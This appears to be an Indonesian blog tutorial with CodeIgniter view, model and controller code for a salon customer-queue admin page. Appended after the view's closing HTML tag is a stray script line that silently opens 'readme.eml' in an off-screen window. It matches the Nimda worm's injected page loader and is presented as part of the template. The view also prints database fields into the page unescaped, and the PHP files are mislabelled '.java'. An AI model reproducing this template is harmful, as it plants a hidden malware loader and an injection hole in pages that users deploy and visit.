Dibawah ini cara-caranya :
1. Buat tampilan view
#Script halaman_operator.java
<!DOCTYPE html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<meta name="description" content="" />
<meta name="author" content="" />
<!--[if IE]>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<![endif]-->
<title>Admin Natasha</title>
<!-- BOOTSTRAP CORE STYLE -->
<link href="<?php echo base_url ();?>assets2/css/bootstrap.css" rel="stylesheet" />
<!-- FONT AWESOME ICONS -->
<link href="<?php echo base_url ();?>assets2/css/font-awesome.css" rel="stylesheet" />
<!-- CUSTOM STYLE -->
<link href="<?php echo base_url ();?>assets2/css/style.css" rel="stylesheet" />
<!-- HTML5 Shiv and Respond.js for IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<header>
<div class="container">
<div class="row">
<div class="col-md-12">
<strong>Nama Admin Natasha: <?php foreach ($tbl_user_oprt as $m) {
echo $m->nama_operator;
$get=$m->praktek_dokter;
}
?>
</strong> <?php echo $get ?>
</div>
</div>
</div>
</header>
<!-- HEADER END-->
<div class="navbar navbar-inverse set-radius-zero">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.html">
<img src="<?php echo base_url ();?>img/lg.png" width="250" height="100" alt="" />
</a>
</div>
<div class="left-div">
<div class="user-settings-wrapper">
<ul class="nav">
<li class="dropdown">
<a class="dropdown-toggle" data-toggle="dropdown" href="#" aria-expanded="false">
<span class="glyphicon glyphicon-user" style="font-size: 25px;"></span>
</a>
<div class="dropdown-menu dropdown-settings">
<div class="media">
<a class="media-left" href="#">
<img src="<?php echo base_url ();?>img/33.png" alt="" class="img-rounded" />
</a>
<div class="media-body">
</div>
</div>
<hr />
<h5><strong>Nama Operator : </strong></h5>
<?php
foreach ($tbl_user_oprt as $m) {
echo
$m->nama_operator;
}
?>
<hr />
<a href="<?php echo base_url ();?>masuk_operator/logout" class="btn btn-danger btn-sm">Logout</a>
</div>
</li>
</ul>
</div>
</div>
</div>
</div>
<!-- LOGO HEADER END-->
<!-- MENU SECTION END-->
<hr />
<b> DAFTAR PELANGGAN </b> <br>
<center> <a href="<?php echo base_url();?>operator1/halaman_operator1"> <button class="btn btn-default"><i class=" fa fa-refresh "></i> Refresh</button>
</a> </center> <br>
<div class="table-responsive">
<table class="table table-striped table-bordered table-hover">
<thead>
<tr>
<th>No</th>
<th>Nama Lengkap</th>
<th>Jenis Kelamin</th>
<th>Umur</th>
<th>Alamat </th>
<th>Perawatan</th>
<th>Action</th>
</tr>
</thead>
<?php
$nomor = 1;
foreach ($tbl_operator1 as $m) {
echo"
<tr>
<td> $nomor </td>
<td> $m->nama </td>
<td> $m->jenkel </td>
<td> $m->umur </td>
<td> $m->alamat </td>
<td> $m->penyakit </td>
<td>"
?>
<form action="<?= site_url('antri/status_pasien1/'. $m->id)?>" method="post">
<?php
echo'
<button type="submit" class="btn btn-warning" name="periksa" value="1">Sedang Perawatan</button>
<button type="submit" class="btn btn-danger" name="belum" value="2">Pelanggan Belum Datang</button>
<button type="submit" class="btn btn-success" name="selesai" value="3">Transaksi Selesai</button>
';
if ($m->status_pasien1 == '1') {
echo 'Pelanggan Sedang Melakukan Perawatan';
}elseif ($m->status_pasien1 == '2') {
echo 'Pelanggan Belum Ada';
}elseif ($m->status_pasien1 == '3') {
echo "Perawatan Pelanggan Selesai";
}else{
echo ' ';
}
?>
</form>
</td>
</td>
</tr>
<?php $nomor++;
}
?>
</table>
</div>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<center><a href="<?= site_url('antri/selesai_pemeriksaan1')?>" class="btn btn-primary btn-lg" onclick="return confirm('Apakah Anda Yakin Menyelesaikan Pemeriksaan ?')"> Selesai Perawatan </a></center> <br>
<!-- CONTENT-WRAPPER SECTION END-->
<footer>
<div class="container">
<div class="row">
<div class="col-md-12">
© 2017 Natasha Salon and Skincare </a>
</div>
</div>
</div>
</footer>
<!-- FOOTER SECTION END-->
<!-- JAVASCRIPT AT THE BOTTOM TO REDUCE THE LOADING TIME -->
<!-- CORE JQUERY SCRIPTS -->
<script src="<?php echo base_url ();?>assets2/js/jquery-1.11.1.js"></script>
<!-- BOOTSTRAP SCRIPTS -->
<script src="<?php echo base_url ();?>assets2/js/bootstrap.js"></script>
</body>
</html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
2. Buat modelnya
#Script M_operator.java
<?php
/**
*
*/
class M_operator1 extends MY_Model{
function __construct(){
parent::__construct();
parent::set_table('tbl_operator1','id');
}
}
?>
3. Controllernya
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class Operator1 extends CI_Controller {
function __construct() {
parent::__construct();
if ($this->session->userdata('level_operator_akses') <> 'operator1') {
redirect('masuk_operator');
}
}
function halaman_operator1() {
$this->load->model('model_data');
if ($this->session->userdata('session_user_operator') != null) {
$get_data = $this->model_data->list_nama_operator($this->session->userdata('session_user_operator'))->result();
}
$data['tbl_user_oprt'] = $get_data;
$data['tbl_operator1'] = $this->model_data->list_pendaftarn_oprt1()->result();
$this->load->view('halaman_operator1', $data);
// security login untuk user operator1 langsung di buat di dalam function ini tidak di buat di getsecurity karena akan terjadi error
$username = $this->session->userdata('username');
if (empty($username)) {
$this->session->sess_destroy();
redirect('masuk_operator');
}
}
}
Selasa, 02 Januari 2018
Home »
» Cara Membuat Perintah Server Side Untuk Aplikasi Anata Shalon & Skincare Berbasis Code Egniter
0 komentar:
Posting Komentar